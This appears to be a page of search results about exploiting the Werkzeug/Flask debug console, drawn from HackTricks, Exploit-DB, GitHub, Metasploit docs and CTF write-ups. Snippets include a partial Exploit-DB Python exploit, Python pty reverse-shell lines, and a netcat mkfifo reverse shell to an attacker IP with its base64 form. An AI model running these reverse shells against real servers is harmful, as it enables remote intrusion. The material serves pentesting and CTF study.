🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
2 days ago - However, if the HTTP connection ... GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode....
🌐
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
🌐
GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Author   its-arun
🌐
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.
🌐
GitHub
github.com › topics › werkzeug-exploit
werkzeug-exploit · GitHub Topics · GitHub
WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.
🌐
Veracode
sourceclear.com › vulnerability-database › security › directory-traversal › python › sid-20917
Directory Traversal Vulnerability in the werkzeug library | Veracode
werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.
🌐
Red Hat
bugzilla.redhat.com › show_bug.cgi
2170243 – (CVE-2023-23934) CVE-2023-23934 python-werkzeug: cookie prefixed with = can shadow unprefixed cookie
Red Hat Bugzilla – Bug 2170243 · This site requires JavaScript to be enabled to function correctly, please enable it · Privacy Contact FAQ Legal
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing.
Find elsewhere
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
Werkzeug 2.0.2 vulnerabilities
Security vulnerabilities and package health score for pip package Werkzeug 2.0.2
🌐
GitLab
0xdf.gitlab.io › 2022 › 10 › 08 › htb-opensource.html
HTB: OpenSource | 0xdf hacks stuff - GitLab
October 8, 2022 - Based on the OpenSSH version, the host is likely running Ubuntu Bionic 18.04. The webserver is showing Werkzeug, a Python framework.
🌐
GitHub
github.com › MistSpark › Vigilant-Exploits › blob › master › Werkzeug_Exploit.py
Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
'''os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close();'''%(attackerIP,port)
Author   MistSpark
🌐
Medium
medium.com › @rajk88 › understanding-werkzeug-exploitation-for-penetration-testers-b38f4502469b
Understanding Werkzeug Exploitation for Penetration Testers | by Raj K | Medium
December 7, 2024 - Werkzeug is a comprehensive WSGI (Web Server Gateway Interface) library for Python which is often used in web application development for its ease of use and flexibility. While Werkzeug is powerful, its features can also inadvertently expose vulnerabilities if misconfigured or improperly secured. This makes it a potential target during penetration testing. This blog explores Werkzeug exploitation, focusing on how penetration testers can identify and leverage vulnerabilities in applications using Werkzeug.
🌐
GitHub
github.com › pallets › flask › issues › 5285
Flask setup.py should use "Werkzeug ~= 2.2.2" instead of "Werkzeug >= 2.2.2" · Issue #5285 · pallets/flask
October 4, 2023 - The recent release of Werkzeug 3.x has affected the logic of Flask setup.py causing it to install an incompatible version of Werkzeug. A change to setup.py from >= to ~= would remedy the situation until the community can verify Flask 3.x is ...
Author   pallets
🌐
Medium
medium.com › swlh › hacking-flask-applications-939eae4bffed
Hacking Flask Applications. Executing arbitrary commands using the… | by Vickie Li | The Startup | Medium
February 18, 2020 - The issue here is not the Werkzeug debugger itself, but an incorrect way of configuring a Werkzeug application: making the debugger available on a production machine. A publicly exposed debugger will subject the machine to remote code execution.
🌐
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass
GitHub - wdahlenburg/werkzeug-debug-console-bypass: Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. · GitHub
Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass
Starred by 66 users
Forked by 8 users
Languages   Python 85.8% | Dockerfile 14.2%
🌐
GitHub
github.com › wazuh › wazuh › issues › 16280
Update `Werkzeug` dependency to 2.2.3 · Issue #16280 · wazuh/wazuh
February 24, 2023 - ... Due to a vulnerability detected in the Werkzeug library prior to 2.2.3, it needs to be updated to said version after checking that it is compatible with the other libraries installed in Wazuh. ... # /var/ossec/framework/python/bin/pipdeptree aiohttp-cache==2.2.0 - aiohttp [required: >=3.6,<4.0, installed: 3.8.1] - aiosignal [required: >=1.1.2, installed: 1.2.0] - frozenlist [required: >=1.1.0, installed: 1.2.0] - async-timeout [required: >=4.0.0a3,<5.0, installed: 4.0.2] - attrs [required: >=17.3.0, installed: 20.3.0] - charset-normalizer [required: >=2.0,<3.0, installed: 2.0.4] - frozenli
Author   wazuh
🌐
Vulnlab
arz101.medium.com › hackthebox-opensource-84e644164a4c
HackTheBox — Opensource - ARZ101 - Medium
October 8, 2022 - rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/fecho 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh ... Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address, boot-id from /proc/sys/kernel/random/boot_id and cgroup from /proc/self/cgroup also replacing the path to flask app , modname and the user running this flask app
🌐
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › python › werkzeug-pentesting
Introduction - Exploit Notes
January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve